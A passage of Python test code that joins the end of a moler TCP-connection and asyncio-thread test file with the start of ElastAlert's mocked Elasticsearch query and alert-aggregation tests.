integration_tcp_server_and_pipe): from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe moler_conn = ThreadedMolerConnection() # no decoder, just pass bytes 1:1 connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) with connection.open(): moler_conn.send(data=b'data to be send') # TODO: await moler_conn.send(data=b'data to be send') ??? time.sleep(0.1) # otherwise we have race between server's pipe and from-client-connection tcp_server_pipe.send(("get history", {})) dialog_with_server = tcp_server_pipe.recv() assert ['Received data:', b'data to be send'] == dialog_with_server[-1] # TODO: shell we check that after moler_conn.send() all data is already transmitted? # or should we allow for "schedule for sending" # Note: different external-IO connection may have different naming for their 'receive' method # however, they are uniformed via glueing with moler_connection.data_received() # so, external-IO forwards data to moler_connection.data_received() # and moler-connection forwards it to anyone subscribed def test_can_receive_binary_data_from_connection(tcp_connection_class, integration_tcp_server_and_pipe): from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe received_data = bytearray() receiver_called = threading.Event() def receiver(data, time_recv): received_data.extend(data) receiver_called.set() def do_nothing_func(): pass moler_conn = ThreadedMolerConnection() # no decoder, just pass bytes 1:1 moler_conn.subscribe(receiver, do_nothing_func) # build forwarding path connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) with connection.open(): # TODO: async with connection.open(): time.sleep(0.1) # otherwise we have race between server's pipe and from-client-connection tcp_server_pipe.send(("send async msg", {'msg': b'data to read'})) receiver_called.wait(timeout=0.5) assert b'data to read' == received_data def test_can_work_with_multiple_connections(tcp_connection_class, integration_tcp_server_and_pipe, integration_second_tcp_server_and_pipe): """Check open/close/send/receive on multiple connections""" from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server0, tcp_server0_pipe) = integration_tcp_server_and_pipe (tcp_server1, tcp_server1_pipe) = integration_second_tcp_server_and_pipe received_data = [bytearray(), bytearray()] receiver_called = [threading.Event(), threading.Event()] def receiver0(data, time_recv): received_data[0].extend(data) receiver_called[0].set() def receiver1(data, time_recv): received_data[1].extend(data) receiver_called[1].set() def do_nothig_func(): pass moler_conn0 = ThreadedMolerConnection() moler_conn0.subscribe(receiver0, do_nothig_func) moler_conn1 = ThreadedMolerConnection() moler_conn1.subscribe(receiver1, do_nothig_func) connection0 = tcp_connection_class(moler_connection=moler_conn0, port=tcp_server0.port, host=tcp_server0.host) connection1 = tcp_connection_class(moler_connection=moler_conn1, port=tcp_server1.port, host=tcp_server1.host) with connection0.open(): with connection1.open(): time.sleep(0.1) # to let servers notify connecting clients tcp_server0_pipe.send(("send async msg", {'msg': b'data from server 0'})) tcp_server1_pipe.send(("send async msg", {'msg': b'data from server 1'})) assert receiver_called[0].wait(timeout=0.5) assert receiver_called[1].wait(timeout=0.5) moler_conn0.send(data=b'data to server 0') moler_conn1.send(data=b'data to server 1') time.sleep(0.1) # to let servers get what was sent # what we got from servers assert b'data from server 0' == received_data[0] assert b'data from server 1' == received_data[1] # what servers know about clients tcp_server0_pipe.send(("get history", {})) tcp_server1_pipe.send(("get history", {})) dialog_with_server0 = tcp_server0_pipe.recv() dialog_with_server1 = tcp_server1_pipe.recv() assert 'Client connected' == dialog_with_server0[0] assert 'Client connected' == dialog_with_server0[0] assert ['Received data:', b'data to server 0'] == dialog_with_server0[-2] assert ['Received data:', b'data to server 1'] == dialog_with_server1[-2] assert 'Client disconnected' == dialog_with_server0[-1] assert 'Client disconnected' == dialog_with_server1[-1] # TODO: tests for error cases raising Exceptions # --------------------------- test implementation ----------------- def test_asyncio_thread_has_running_thread_and_loop_after_start(): from moler.asyncio_runner import AsyncioLoopThread thread4async = AsyncioLoopThread() thread4async.start() assert thread4async.is_alive() assert thread4async.ev_loop.is_running() def test_asyncio_thread_has_stopped_thread_and_loop_after_join(): from moler.asyncio_runner import AsyncioLoopThread thread4async = AsyncioLoopThread() thread4async.start() thread4async.join() assert not thread4async.ev_loop.is_running() assert not thread4async.is_alive() def test_asyncio_thread_can_run_async_function(): from moler.asyncio_runner import AsyncioLoopThread thread4async = AsyncioLoopThread() thread4async.start() async def my_coro(param): await asyncio.sleep(0.1) return "called with param={}".format(param) assert "called with param=2" == thread4async.run_async_coroutine(my_coro(param=2), timeout=0.2) def test_asyncio_thread_can_timeout_async_function(): from moler.asyncio_runner import AsyncioLoopThread from moler.exceptions import MolerTimeout thread4async = AsyncioLoopThread() thread4async.start() async def my_coro(param): await asyncio.sleep(0.2) return "called with param={}".format(param) with pytest.raises(MolerTimeout): thread4async.run_async_coroutine(my_coro(param=2), timeout=0.1) # TODO - test cancel of async_function in asyncio_thread # TODO - do we want thread4async.start_async_coroutine to let it run in background (returning future) def test_can_get_same_asyncio_loop_thread(): from moler.asyncio_runner import get_asyncio_loop_thread async_thrd_1 = get_asyncio_loop_thread() async_thrd_2 = get_asyncio_loop_thread() assert async_thrd_1 == async_thrd_2 def test_can_get_same_asyncio_loop_thread_even_from_different_calling_threads(): from moler.asyncio_runner import get_asyncio_loop_thread async_thrds = [None, None, None] async_thrds[0] = get_asyncio_loop_thread() # first one must be called from MainThread (unix signals issue) def call_from_thrd0(): async_thrds[1] = get_asyncio_loop_thread() def call_from_thrd1(): async_thrds[2] = get_asyncio_loop_thread() thrd0 = threading.Thread(target=call_from_thrd0) thrd1 = threading.Thread(target=call_from_thrd1) thrd0.start() thrd1.start() time.sleep(0.1) # allow threads switch assert async_thrds[1] is not None assert async_thrds[0] is async_thrds[1] assert async_thrds[1] is async_thrds[2] def test_get_asyncio_loop_thread_returns_running_thread_and_loop(): from moler.asyncio_runner import get_asyncio_loop_thread async_thrd = get_asyncio_loop_thread() assert async_thrd.is_alive() assert async_thrd.ev_loop.is_running() def test_connection_has_running_loop_after_open(tcp_connection_class, integration_tcp_server_and_pipe): from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe moler_conn = ThreadedMolerConnection() connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) connection.open() assert connection._async_tcp._stream_reader._loop.is_running() def test_connection_has_not_stopped_loop_after_close(tcp_connection_class, integration_tcp_server_and_pipe): from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server, tcp_server_pipe) = integration_tcp_server_and_pipe moler_conn = ThreadedMolerConnection() connection = tcp_connection_class(moler_connection=moler_conn, port=tcp_server.port, host=tcp_server.host) connection.open() async_loop_of_connection = connection._async_tcp._stream_reader._loop connection.close() assert async_loop_of_connection.is_running() def test_connections_use_same_loop(tcp_connection_class, integration_tcp_server_and_pipe, integration_second_tcp_server_and_pipe): # same loop means also same thread since asyncio has one loop in thread from moler.threaded_moler_connection import ThreadedMolerConnection (tcp_server0, tcp_server0_pipe) = integration_tcp_server_and_pipe (tcp_server1, tcp_server1_pipe) = integration_second_tcp_server_and_pipe connection0 = tcp_connection_class(moler_connection=ThreadedMolerConnection(), port=tcp_server0.port, host=tcp_server0.host) connection1 = tcp_connection_class(moler_connection=ThreadedMolerConnection(), port=tcp_server1.port, host=tcp_server1.host) with connection0.open(): with connection1.open(): # loop and thread appear after open() async_loop_of_connection0 = connection0._async_tcp._stream_reader._loop async_loop_of_connection1 = connection0._async_tcp._stream_reader._loop assert async_loop_of_connection0 == async_loop_of_connection1 # --------------------------- resources --------------------------- @pytest.fixture(params=['io.asyncio.tcp.AsyncioInThreadTcp']) def tcp_connection_class(request): module_name, class_name = request.param.rsplit('.', 1) module = importlib.import_module('moler.{}'.format(module_name)) connection_class = getattr(module, class_name) return connection_class @pytest.yield_fixture() def integration_tcp_server_and_pipe(): from moler.io.raw.tcpserverpiped import tcp_server_piped with tcp_server_piped(port=19543, use_stderr_logger=True) as server_and_pipe: (server, svr_ctrl_pipe) = server_and_pipe yield (server, svr_ctrl_pipe) @pytest.yield_fixture() def integration_second_tcp_server_and_pipe(): from moler.io.raw.tcpserverpiped import tcp_server_piped with tcp_server_piped(port=19544, use_stderr_logger=True) as server_and_pipe: (server, svr_ctrl_pipe) = server_and_pipe yield (server, svr_ctrl_pipe)
base_test.py
# -*- coding: utf-8 -*- import contextlib import copy import datetime import json import threading import elasticsearch import mock import pytest from elasticsearch.exceptions import ElasticsearchException from elastalert.enhancements import BaseEnhancement from elastalert.enhancements import DropMatchException from elastalert.kibana import dashboard_temp from elastalert.util import dt_to_ts from elastalert.util import dt_to_unix from elastalert.util import dt_to_unixms from elastalert.util import EAException from elastalert.util import ts_now from elastalert.util import ts_to_dt from elastalert.util import unix_to_dt START_TIMESTAMP = '2014-09-26T12:34:45Z' END_TIMESTAMP = '2014-09-27T12:34:45Z' START = ts_to_dt(START_TIMESTAMP) END = ts_to_dt(END_TIMESTAMP) def _set_hits(ea_inst, hits): res = {'hits': {'total': len(hits), 'hits': hits}} ea_inst.client_es.return_value = res def generate_hits(timestamps, **kwargs): hits = [] id_iter = xrange(len(timestamps)).__iter__() for ts in timestamps: data = {'_id': 'id' + str(id_iter.next()), '_source': {'@timestamp': ts}, '_type': 'logs', '_index': 'idx'} for key, item in kwargs.iteritems(): data['_source'][key] = item # emulate process_hits(), add metadata to _source for field in ['_id', '_type', '_index']: data['_source'][field] = data[field] hits.append(data) return {'hits': {'total': len(hits), 'hits': hits}} def assert_alerts(ea_inst, calls): """ Takes a list of lists of timestamps. Asserts that an alert was called for each list, containing those timestamps. """ assert ea_inst.rules[0]['alert'][0].alert.call_count == len(calls) for call_num, call_args in enumerate(ea_inst.rules[0]['alert'][0].alert.call_args_list): assert not any([match['@timestamp'] not in calls[call_num] for match in call_args[0][0]]) assert len(call_args[0][0]) == len(calls[call_num]) def test_starttime(ea): invalid = ['2014-13-13', '2014-11-24T30:00:00', 'Not A Timestamp'] for ts in invalid: with pytest.raises((TypeError, ValueError)): ts_to_dt(ts) def test_init_rule(ea): # Simulate state of a rule just loaded from a file ea.rules[0]['minimum_starttime'] = datetime.datetime.now() new_rule = copy.copy(ea.rules[0]) map(new_rule.pop, ['agg_matches', 'current_aggregate_id', 'processed_hits', 'minimum_starttime']) # Properties are copied from ea.rules[0] ea.rules[0]['starttime'] = '2014-01-02T00:11:22' ea.rules[0]['processed_hits'] = ['abcdefg'] new_rule = ea.init_rule(new_rule, False) for prop in ['starttime', 'agg_matches', 'current_aggregate_id', 'processed_hits', 'minimum_starttime']: assert new_rule[prop] == ea.rules[0][prop] # Properties are fresh new_rule = ea.init_rule(new_rule, True) new_rule.pop('starttime') assert 'starttime' not in new_rule assert new_rule['processed_hits'] == {} def test_query(ea): ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.run_query(ea.rules[0], START, END) ea.current_es.search.assert_called_with(body={'query': {'filtered': {'filter': {'bool': {'must': [{'range': {'@timestamp': {'lte': END_TIMESTAMP, 'gt': START_TIMESTAMP}}}]}}}}, 'sort': [{'@timestamp': {'order': 'asc'}}]}, index='idx', _source_include=['@timestamp'], ignore_unavailable=True, size=ea.rules[0]['max_query_size'], scroll=ea.conf['scroll_keepalive']) def test_query_with_fields(ea): ea.rules[0]['_source_enabled'] = False ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.run_query(ea.rules[0], START, END) ea.current_es.search.assert_called_with(body={'query': {'filtered': {'filter': {'bool': {'must': [{'range': {'@timestamp': {'lte': END_TIMESTAMP, 'gt': START_TIMESTAMP}}}]}}}}, 'sort': [{'@timestamp': {'order': 'asc'}}], 'fields': ['@timestamp']}, index='idx', ignore_unavailable=True, size=ea.rules[0]['max_query_size'], scroll=ea.conf['scroll_keepalive']) def test_query_with_unix(ea): ea.rules[0]['timestamp_type'] = 'unix' ea.rules[0]['dt_to_ts'] = dt_to_unix ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.run_query(ea.rules[0], START, END) start_unix = dt_to_unix(START) end_unix = dt_to_unix(END) ea.current_es.search.assert_called_with(body={'query': {'filtered': {'filter': {'bool': {'must': [{'range': {'@timestamp': {'lte': end_unix, 'gt': start_unix}}}]}}}}, 'sort': [{'@timestamp': {'order': 'asc'}}]}, index='idx', _source_include=['@timestamp'], ignore_unavailable=True, size=ea.rules[0]['max_query_size'], scroll=ea.conf['scroll_keepalive']) def test_query_with_unixms(ea): ea.rules[0]['timestamp_type'] = 'unixms' ea.rules[0]['dt_to_ts'] = dt_to_unixms ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.run_query(ea.rules[0], START, END) start_unix = dt_to_unixms(START) end_unix = dt_to_unixms(END) ea.current_es.search.assert_called_with(body={'query': {'filtered': {'filter': {'bool': {'must': [{'range': {'@timestamp': {'lte': end_unix, 'gt': start_unix}}}]}}}}, 'sort': [{'@timestamp': {'order': 'asc'}}]}, index='idx', _source_include=['@timestamp'], ignore_unavailable=True, size=ea.rules[0]['max_query_size'], scroll=ea.conf['scroll_keepalive']) def test_no_hits(ea): ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.run_query(ea.rules[0], START, END) assert ea.rules[0]['type'].add_data.call_count == 0 def test_no_terms_hits(ea): ea.rules[0]['use_terms_query'] = True ea.rules[0]['query_key'] = 'QWERTY' ea.rules[0]['doc_type'] = 'uiop' ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.run_query(ea.rules[0], START, END) assert ea.rules[0]['type'].add_terms_data.call_count == 0 def test_some_hits(ea): hits = generate_hits([START_TIMESTAMP, END_TIMESTAMP]) hits_dt = generate_hits([START, END]) ea.current_es.search.return_value = hits ea.run_query(ea.rules[0], START, END) assert ea.rules[0]['type'].add_data.call_count == 1 ea.rules[0]['type'].add_data.assert_called_with([x['_source'] for x in hits_dt['hits']['hits']]) def test_some_hits_unix(ea): ea.rules[0]['timestamp_type'] = 'unix' ea.rules[0]['dt_to_ts'] = dt_to_unix ea.rules[0]['ts_to_dt'] = unix_to_dt hits = generate_hits([dt_to_unix(START), dt_to_unix(END)]) hits_dt = generate_hits([START, END]) ea.current_es.search.return_value = copy.deepcopy(hits) ea.run_query(ea.rules[0], START, END) assert ea.rules[0]['type'].add_data.call_count == 1 ea.rules[0]['type'].add_data.assert_called_with([x['_source'] for x in hits_dt['hits']['hits']]) def _duplicate_hits_generator(timestamps, **kwargs): """Generator repeatedly returns identical hits dictionaries """ while True: yield generate_hits(timestamps, **kwargs) def test_duplicate_timestamps(ea): ea.current_es.search.side_effect = _duplicate_hits_generator([START_TIMESTAMP] * 3, blah='duplicate') ea.run_query(ea.rules[0], START, ts_to_dt('2014-01-01T00:00:00Z')) assert len(ea.rules[0]['type'].add_data.call_args_list[0][0][0]) == 3 assert ea.rules[0]['type'].add_data.call_count == 1 # Run the query again, duplicates will be removed and not added ea.run_query(ea.rules[0], ts_to_dt('2014-01-01T00:00:00Z'), END) assert ea.rules[0]['type'].add_data.call_count == 1 def test_match(ea): hits = generate_hits([START_TIMESTAMP, END_TIMESTAMP]) ea.current_es.search.return_value = hits ea.rules[0]['type'].matches = [{'@timestamp': END}] with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) ea.rules[0]['alert'][0].alert.called_with({'@timestamp': END_TIMESTAMP}) assert ea.rules[0]['alert'][0].alert.call_count == 1 def test_run_rule_calls_garbage_collect(ea): start_time = '2014-09-26T00:00:00Z' end_time = '2014-09-26T12:00:00Z' ea.buffer_time = datetime.timedelta(hours=1) ea.run_every = datetime.timedelta(hours=1) with contextlib.nested(mock.patch.object(ea.rules[0]['type'], 'garbage_collect'), mock.patch.object(ea, 'run_query')) as (mock_gc, mock_get_hits): ea.run_rule(ea.rules[0], ts_to_dt(end_time), ts_to_dt(start_time)) # Running ElastAlert every hour for 12 hours, we should see self.garbage_collect called 12 times. assert mock_gc.call_count == 12 # The calls should be spaced 1 hour apart expected_calls = [ts_to_dt(start_time) + datetime.timedelta(hours=i) for i in range(1, 13)] for e in expected_calls: mock_gc.assert_any_call(e) def run_rule_query_exception(ea, mock_es): with mock.patch('elastalert.elastalert.elasticsearch_client') as mock_es_init: mock_es_init.return_value = mock_es ea.run_rule(ea.rules[0], END, START) # Assert neither add_data nor garbage_collect were called # and that starttime did not change assert ea.rules[0].get('starttime') == START assert ea.rules[0]['type'].add_data.call_count == 0 assert ea.rules[0]['type'].garbage_collect.call_count == 0 assert ea.rules[0]['type'].add_count_data.call_count == 0 def test_query_exception(ea): mock_es = mock.Mock() mock_es.search.side_effect = ElasticsearchException run_rule_query_exception(ea, mock_es) def test_query_exception_count_query(ea): ea.rules[0]['use_count_query'] = True ea.rules[0]['doc_type'] = 'blahblahblahblah' mock_es = mock.Mock() mock_es.count.side_effect = ElasticsearchException run_rule_query_exception(ea, mock_es) def test_match_with_module(ea): mod = BaseEnhancement(ea.rules[0]) mod.process = mock.Mock() ea.rules[0]['match_enhancements'] = [mod] test_match(ea) mod.process.assert_called_with({'@timestamp': END}) def test_match_with_module_with_agg(ea): mod = BaseEnhancement(ea.rules[0]) mod.process = mock.Mock() ea.rules[0]['match_enhancements'] = [mod] ea.rules[0]['aggregation'] = datetime.timedelta(minutes=15) hits = generate_hits([START_TIMESTAMP, END_TIMESTAMP]) ea.current_es.search.return_value = hits ea.rules[0]['type'].matches = [{'@timestamp': END}] with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert mod.process.call_count == 0 def test_match_with_enhancements_first(ea): mod = BaseEnhancement(ea.rules[0]) mod.process = mock.Mock() ea.rules[0]['match_enhancements'] = [mod] ea.rules[0]['aggregation'] = datetime.timedelta(minutes=15) ea.rules[0]['run_enhancements_first'] = True hits = generate_hits([START_TIMESTAMP, END_TIMESTAMP]) ea.current_es.search.return_value = hits ea.rules[0]['type'].matches = [{'@timestamp': END}] with mock.patch('elastalert.elastalert.elasticsearch_client'): with mock.patch.object(ea, 'add_aggregated_alert') as add_alert: ea.run_rule(ea.rules[0], END, START) mod.process.assert_called_with({'@timestamp': END}) assert add_alert.call_count == 1 # Assert that dropmatchexception behaves properly mod.process = mock.MagicMock(side_effect=DropMatchException) ea.rules[0]['type'].matches = [{'@timestamp': END}] with mock.patch('elastalert.elastalert.elasticsearch_client'): with mock.patch.object(ea, 'add_aggregated_alert') as add_alert: ea.run_rule(ea.rules[0], END, START) mod.process.assert_called_with({'@timestamp': END}) assert add_alert.call_count == 0 def test_agg(ea): ea.max_aggregation = 1337 hits_timestamps = ['2014-09-26T12:34:45', '2014-09-26T12:40:45', '2014-09-26T12:47:45'] alerttime1 = dt_to_ts(ts_to_dt(hits_timestamps[0]) + datetime.timedelta(minutes=10)) hits = generate_hits(hits_timestamps) ea.current_es.search.return_value = hits with mock.patch('elastalert.elastalert.elasticsearch_client'): # Aggregate first two, query over full range ea.rules[0]['aggregation'] = datetime.timedelta(minutes=10) ea.rules[0]['type'].matches = [{'@timestamp': h} for h in hits_timestamps] ea.run_rule(ea.rules[0], END, START) # Assert that the three matches were added to Elasticsearch call1 = ea.writeback_es.index.call_args_list[0][1]['body'] call2 = ea.writeback_es.index.call_args_list[1][1]['body'] call3 = ea.writeback_es.index.call_args_list[2][1]['body'] assert call1['match_body'] == {'@timestamp': '2014-09-26T12:34:45'} assert not call1['alert_sent'] assert 'aggregate_id' not in call1 assert call1['alert_time'] == alerttime1 assert call2['match_body'] == {'@timestamp': '2014-09-26T12:40:45'} assert not call2['alert_sent'] assert call2['aggregate_id'] == 'ABCD' assert call3['match_body'] == {'@timestamp': '2014-09-26T12:47:45'} assert not call3['alert_sent'] assert 'aggregate_id' not in call3 # First call - Find all pending alerts (only entries without agg_id) # Second call - Find matches with agg_id == 'ABCD' # Third call - Find matches with agg_id == 'CDEF' ea.writeback_es.search.side_effect = [{'hits': {'hits': [{'_id': 'ABCD', '_source': call1}, {'_id': 'CDEF', '_source': call3}]}}, {'hits': {'hits': [{'_id': 'BCDE', '_source': call2}]}}, {'hits': {'total': 0, 'hits': []}}] with mock.patch('elastalert.elastalert.elasticsearch_client') as mock_es: ea.send_pending_alerts() # Assert that current_es was refreshed from the aggregate rules assert mock_es.called_with(host='', port='') assert mock_es.call_count == 2 assert_alerts(ea, [hits_timestamps[:2], hits_timestamps[2:]]) call1 = ea.writeback_es.search.call_args_list[7][1]['body'] call2 = ea.writeback_es.search.call_args_list[8][1]['body'] call3 = ea.writeback_es.search.call_args_list[9][1]['body'] call4 = ea.writeback_es.search.call_args_list[10][1]['body'] assert 'alert_time' in call2['filter']['range'] assert call3['query']['query_string']['query'] == 'aggregate_id:ABCD' assert call4['query']['query_string']['query'] == 'aggregate_id:CDEF' assert ea.writeback_es.search.call_args_list[9][1]['size'] == 1337 def test_agg_cron(ea): ea.max_aggregation = 1337 hits_timestamps = ['2014-09-26T12:34:45', '2014-09-26T12:40:45', '2014-09-26T12:47:45'] hits = generate_hits(hits_timestamps) ea.current_es.search.return_value = hits alerttime1 = dt_to_ts(ts_to_dt('2014-09-26T12:46:00')) alerttime2 = dt_to_ts(ts_to_dt('2014-09-26T13:04:00')) with mock.patch('elastalert.elastalert.elasticsearch_client'): with mock.patch('elastalert.elastalert.croniter.get_next') as mock_ts: # Aggregate first two, query over full range mock_ts.side_effect = [dt_to_unix(ts_to_dt('2014-09-26T12:46:00')), dt_to_unix(ts_to_dt('2014-09-26T13:04:00'))] ea.rules[0]['aggregation'] = {'schedule': '*/5 * * * *'} ea.rules[0]['type'].matches = [{'@timestamp': h} for h in hits_timestamps] ea.run_rule(ea.rules[0], END, START) # Assert that the three matches were added to Elasticsearch call1 = ea.writeback_es.index.call_args_list[0][1]['body'] call2 = ea.writeback_es.index.call_args_list[1][1]['body'] call3 = ea.writeback_es.index.call_args_list[2][1]['body'] assert call1['match_body'] == {'@timestamp': '2014-09-26T12:34:45'} assert not call1['alert_sent'] assert 'aggregate_id' not in call1 assert call1['alert_time'] == alerttime1 assert call2['match_body'] == {'@timestamp': '2014-09-26T12:40:45'} assert not call2['alert_sent'] assert call2['aggregate_id'] == 'ABCD' assert call3['match_body'] == {'@timestamp': '2014-09-26T12:47:45'} assert call3['alert_time'] == alerttime2 assert not call3['alert_sent'] assert 'aggregate_id' not in call3 def test_agg_no_writeback_connectivity(ea): """ Tests that if writeback_es throws an exception, the matches will be added to 'agg_matches' and when run again, that they will be passed again to add_aggregated_alert """ hit1, hit2, hit3 = '2014-09-26T12:34:45', '2014-09-26T12:40:45', '2014-09-26T12:47:45' hits = generate_hits([hit1, hit2, hit3]) ea.current_es.search.return_value = hits ea.rules[0]['aggregation'] = datetime.timedelta(minutes=10) ea.rules[0]['type'].matches = [{'@timestamp': hit1}, {'@timestamp': hit2}, {'@timestamp': hit3}] ea.writeback_es.index.side_effect = elasticsearch.exceptions.ElasticsearchException('Nope') with mock.patch('elastalert.elastalert.elasticsearch_client'): with mock.patch.object(ea, 'find_pending_aggregate_alert', return_value=None): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['agg_matches'] == [{'@timestamp': hit1}, {'@timestamp': hit2}, {'@timestamp': hit3}] ea.current_es.search.return_value = {'hits': {'total': 0, 'hits': []}} ea.add_aggregated_alert = mock.Mock() with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) ea.add_aggregated_alert.assert_any_call({'@timestamp': hit1}, ea.rules[0]) ea.add_aggregated_alert.assert_any_call({'@timestamp': hit2}, ea.rules[0]) ea.add_aggregated_alert.assert_any_call({'@timestamp': hit3}, ea.rules[0]) def test_agg_with_aggregation_key(ea): ea.max_aggregation = 1337 hits_timestamps = ['2014-09-26T12:34:45', '2014-09-26T12:40:45', '2014-09-26T12:43:45'] alerttime1 = dt_to_ts(ts_to_dt(hits_timestamps[0]) + datetime.timedelta(minutes=10)) alerttime2 = dt_to_ts(ts_to_dt(hits_timestamps[1]) + datetime.timedelta(minutes=10)) hits = generate_hits(hits_timestamps) ea.current_es.search.return_value = hits with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.rules[0]['aggregation'] = datetime.timedelta(minutes=10) ea.rules[0]['type'].matches = [{'@timestamp': h} for h in hits_timestamps] # Hit1 and Hit3 should be aggregated together, since they have same query_key value ea.rules[0]['type'].matches[0]['key'] = 'Key Value 1' ea.rules[0]['type'].matches[1]['key'] = 'Key Value 2' ea.rules[0]['type'].matches[2]['key'] = 'Key Value 1' ea.rules[0]['aggregation_key'] = 'key' ea.run_rule(ea.rules[0], END, START) # Assert that the three matches were added to elasticsearch call1 = ea.writeback_es.index.call_args_list[0][1]['body'] call2 = ea.writeback_es.index.call_args_list[1][1]['body'] call3 = ea.writeback_es.index.call_args_list[2][1]['body'] assert call1['match_body'] == {'@timestamp': '2014-09-26T12:34:45', 'key': 'Key Value 1'} assert not call1['alert_sent'] assert 'aggregate_id' not in call1 assert 'aggregate_key' in call1 assert call1['aggregate_key'] == 'Key Value 1' assert call1['alert_time'] == alerttime1 assert call2['match_body'] == {'@timestamp': '2014-09-26T12:40:45', 'key': 'Key Value 2'} assert not call2['alert_sent'] assert 'aggregate_id' not in call2 assert 'aggregate_key' in call2 assert call2['aggregate_key'] == 'Key Value 2' assert call2['alert_time'] == alerttime2 assert call3['match_body'] == {'@timestamp': '2014-09-26T12:43:45', 'key': 'Key Value 1', 'key': 'Key Value 1'} assert not call3['alert_sent'] # Call3 should have it's aggregate_id set to call1's _id # It should also have the same alert_time as call1 assert call3['aggregate_id'] == 'ABCD' assert 'aggregate_key' in call3 assert call3['aggregate_key'] == 'Key Value 1' assert call3['alert_time'] == alerttime1 # First call - Find all pending alerts (only entries without agg_id) # Second call - Find matches with agg_id == 'ABCD' # Third call - Find matches with agg_id == 'CDEF' ea.writeback_es.search.side_effect = [{'hits': {'hits': [{'_id': 'ABCD', '_source': call1}, {'_id': 'CDEF', '_source': call2}]}}, {'hits': {'hits': [{'_id': 'BCDE', '_source': call3}]}}, {'hits': {'total': 0, 'hits': []}}] with mock.patch('elastalert.elastalert.elasticsearch_client') as mock_es: ea.send_pending_alerts() # Assert that current_es was refreshed from the aggregate rules assert mock_es.called_with(host='', port='') assert mock_es.call_count == 2 assert_alerts(ea, [[hits_timestamps[0], hits_timestamps[2]], [hits_timestamps[1]]]) call1 = ea.writeback_es.search.call_args_list[7][1]['body'] call2 = ea.writeback_es.search.call_args_list[8][1]['body'] call3 = ea.writeback_es.search.call_args_list[9][1]['body'] call4 = ea.writeback_es.search.call_args_list[10][1]['body'] assert 'alert_time' in call2['filter']['range'] assert call3['query']['query_string']['query'] == 'aggregate_id:ABCD' assert call4['query']['query_string']['query'] == 'aggregate_id:CDEF' assert ea.writeback_es.search.call_args_list[9][1]['size'] == 1337 def test_silence(ea): # Silence test rule for 4 hours ea.args.rule = 'test_rule.yaml' # Not a real name, just has to be set ea.args.silence = 'hours=4' ea.silence() # Don't alert even with a match match = [{'@timestamp': '2014-11-17T00:00:00'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 0 # Mock ts_now() to +5 hours, alert on match match = [{'@timestamp': '2014-11-17T00:00:00'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.ts_now') as mock_ts: with mock.patch('elastalert.elastalert.elasticsearch_client'): # Converted twice to add tzinfo mock_ts.return_value = ts_to_dt(dt_to_ts(datetime.datetime.utcnow() + datetime.timedelta(hours=5))) ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 def test_compound_query_key(ea): ea.rules[0]['query_key'] = 'this,that,those' ea.rules[0]['compound_query_key'] = ['this', 'that', 'those'] hits = generate_hits([START_TIMESTAMP, END_TIMESTAMP], this='abc', that=u'☃', those=4) ea.current_es.search.return_value = hits ea.run_query(ea.rules[0], START, END) call_args = ea.rules[0]['type'].add_data.call_args_list[0] assert 'this,that,those' in call_args[0][0][0] assert call_args[0][0][0]['this,that,those'] == u'abc, ☃, 4' def test_silence_query_key(ea): # Silence test rule for 4 hours ea.args.rule = 'test_rule.yaml' # Not a real name, just has to be set ea.args.silence = 'hours=4' ea.silence('anytest.qlo') # Don't alert even with a match match = [{'@timestamp': '2014-11-17T00:00:00', 'username': 'qlo'}] ea.rules[0]['type'].matches = match ea.rules[0]['query_key'] = 'username' with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 0 # If there is a new record with a different value for the query_key, we should get an alert match = [{'@timestamp': '2014-11-17T00:00:01', 'username': 'dpopes'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 # Mock ts_now() to +5 hours, alert on match match = [{'@timestamp': '2014-11-17T00:00:00', 'username': 'qlo'}] ea.rules[0]['type'].matches = match with mock.patch('elastalert.elastalert.ts_now') as mock_ts: with mock.patch('elastalert.elastalert.elasticsearch_client'): # Converted twice to add tzinfo mock_ts.return_value = ts_to_dt(dt_to_ts(datetime.datetime.utcnow() + datetime.timedelta(hours=5))) ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 2 def test_realert(ea): hits = ['2014-09-26T12:35:%sZ' % (x) for x in range(60)] matches = [{'@timestamp': x} for x in hits] ea.current_es.search.return_value = hits with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.rules[0]['realert'] = datetime.timedelta(seconds=50) ea.rules[0]['type'].matches = matches ea.run_rule(ea.rules[0], END, START) assert ea.rules[0]['alert'][0].alert.call_count == 1 # Doesn't alert again matches = [{'@timestamp': x} for x in hits] with mock.patch('elastalert.elastalert.elasticsearch_client'): ea.run_rule(ea.rules[0], END, START) 